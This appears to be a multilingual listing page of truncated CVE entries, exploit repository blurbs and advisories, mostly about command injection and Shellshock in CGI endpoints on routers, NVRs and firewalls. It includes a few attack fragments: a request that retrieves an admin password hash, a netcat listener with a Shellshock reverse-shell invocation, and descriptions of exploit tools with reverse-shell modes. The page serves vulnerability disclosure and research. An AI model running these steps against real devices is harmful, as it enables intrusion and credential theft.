CVE-2025-67445

Обзор Уязвимость в интерфейсе веб-управления TOTOLINK X5000R V9.1.0cu.2415 позволяет неаутентифицированному удаленному злоумышленнику в локальной сети вызвать сбой веб-службы через ошибку сегментации. Отправляя чрезмерно большой HTTP POST запрос к конечной точке CGI, злоумышленник может вызвать...

poc-yaws-cgi-shell-injection

Inyección de comandos del sistema operativo en el servidor web Yaws CVE-2020-24916 Prueba de concepto Construir imagen de prueba: docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile . y/o Ejecutar el contenedor docker run --rm -d -i -p 127.0.0.1:8000:8080...

CVE-2017-14262

SamsungNVRvul CVE-2017-14262 xfuturesec Co., Ltd 첫 번째, 'admin' 계정의 MD5 해시 비밀번호를 획득합니다. 전송: GET http://192.168.1.14/cgi-bin/main-cgi?json="cmd":201,"szUserNameQry":"admin","szUserName":"","u32UserLoginHandle":0 HTTP/1.1 Host: 192.168.1.14 User-Agent: Mozilla/5.0 Windows NT 6.3; WOW64; rv:55.0...

CVE-2025-64446-FortiWeb-CGI-Bypass-PoC

أداة استغلال CVE-2025-64446 أداة استغلال للتحقق من ثغرة CVE-2025-64446 واستغلالها في أجهزة FortiWeb. الوصف تختبر هذه الأداة وتستغل ثغرة اجتياز المسار Path Traversal CVE-2025-64446 في جدران حماية تطبيقات الويب FortiWeb. يمكن استخدامها للتحقق من حالة الثغرة أو استغلال نقطة نهاية CGI لإنشاء/تعديل...

CVE-2014-6271

CVE-2014-6271 python2.7 在你的机器上开始监听。 root@kitploit: nc -l -p 4444 按照以下规则运行python脚本： python shellpoc.py root@kitploit: python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 尽情享用...

CVE-2019-0232

CVE-2019-0232 Descrizione Questo è uno strumento che automatizza il flusso di lavoro di sfruttamento per CVE‑2019‑0232 fornendo sia una modalità di esecuzione comandi sia una modalità reverse shell. Supporta la codifica URL automatica dei comandi, avvia un server HTTP temporaneo per ospitare...

CVE-2024-10914__POC

CVE-2024-10914 - Konzeptnachweis Exploit für eine Command Injection-Schwachstelle im Endpunkt /cgi-bin/accountmgr.cgi. Diese Schwachstelle ermöglicht die Ausführung beliebiger Befehle auf dem betroffenen System über nicht bereinigte Parameter. Beschreibung der Schwachstelle CVE-2024-10914 ist ein...

Blind-SSRF-to-Remote-Code-Execution-Shellshock-Professional-Bug-Bounty-Report

Ciego-SSRF-a-Ejecución-Remota-de-Código-Shellshock-Informe-Profesional-de-Bug-Bounty Este repositorio contiene un informe profesional de bug bounty que demuestra la explotación exitosa de una vulnerabilidad de SSRF Ciego que alcanzó un endpoint CGI interno vulnerable a Shellshock CVE-2014-6271. S...

CVE-2023-47564

CVE-2023-47564 https://www.qnap.com/en/security-advisory/qsa-24-03 https://vulners.com/cve/CVE-2023-47564 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N 8.1 "Eine fehlerhafte Berechtigungszuweisung für eine kritische Ressource wurde gemeldet, die Qsync Central betrifft. Bei Ausnutzung könnte die...

shellshock-victim-host

shellshock-victim-host Ein Docker-Container, der anfällig für Shellshock ist - CVE-2014-6271 Ausführen root@kitploit: podman build -t shellshock-victim . podman run -it -p 80:8080 shellshock-victim Hinweis: Funktioniert auch mit Docker. Die verwundbare Anwendung wird bereitgestellt unter:...

CVE-2022-21587-Oracle-EBS-

Prerequisiti per eseguire questo exploit: python3 con i moduli inclusi requests, os, sys, slipit uuencode Prima di eseguirlo, assicurati di usarlo solo per scopi etici Se l'esecuzione dell'exploit fallisce: Assicurati di aver già installato i moduli prerequisiti installa requests pip3 install...

CVE-2026-73673

CVE-2026-73673: Netis NC63 Atualização de Firmware Não Autenticada com Ausência de Autenticação Criptográfica do Firmware Pesquisa original de vulnerabilidade por Özcan Ersan @ozcanpng. Este repositório documenta a CVE-2026-73673, descoberta e reportada pelo autor. Prova de conceito não destrutiv...

CVE-2026-19379

A vulnerability was determined in EFM ipTIME AX8004M 15.09.0. Impacted is the function popen of the file /cgi/d.cgi of the component CGI Endpoint. This manipulation of the argument fname causes os command injection. The attack can be initiated remotely. The exploit has been publicly disclosed and...

CVE-2026-19379

CVE-2026-19379 affects EFM ipTIME AX8004M (firmware 15.09.0) where the popen function in /cgi/d.cgi under CGI Endpoint can be abused to inject commands via fname. The issue enables remote code execution and is supported by public disclosure; exploitation maturity is PROOF-OF-CONCEPT per the CVSS ...

EUVD-2026-54974

A vulnerability was determined in EFM ipTIME AX8004M 15.09.0. Impacted is the function popen of the file /cgi/d.cgi of the component CGI Endpoint. This manipulation of the argument fname causes os command injection. The attack can be initiated remotely. The exploit has been publicly disclosed and...

PT-2026-69323

Name of the Vulnerable Software and Affected Versions EFM ipTIME AX8004M version 15.09.0 Description A remote OS command injection exists within the CGI Endpoint component. The issue occurs when the popen function in the '/cgi/d.cgi' endpoint improperly handles the fname argument, allowing an...

EUVD-2026-38652

Multiple OS command injection vulnerabilities exist in the libNetSetObj.so functionality of GeoVision GV-I/O Box 4E 2.09. A specially crafted network packet can lead to command execution. An attacker can send a network request to trigger this vulnerability. libNetSetObj.so is an internal library...

CVE-2026-12849

Multiple OS command injection vulnerabilities exist in the libNetSetObj.so functionality of GeoVision GV-I/O Box 4E 2.09. A specially crafted network packet can lead to command execution. An attacker can send a network request to trigger this vulnerability. libNetSetObj.so is an internal library...

CVE-2026-31163

An issue was discovered in ToToLink A3300R firmware v17.0.0cu.557B20221024 allowing attackers to execute arbitrary commands via the dhcpMtu parameter to /cgi-bin/cstecgi.cgi...

CVE-2026-35717

A stack-based buffer overflow in the exportlanguage.cgi binary in VIVOTEK FD8136 firmware FD8136-VVTK-0300a allows authenticated remote attackers to execute arbitrary code as root via a crafted POST request to the /cgi-bin/admin/exportlanguage.cgi endpoint. The handler passes the...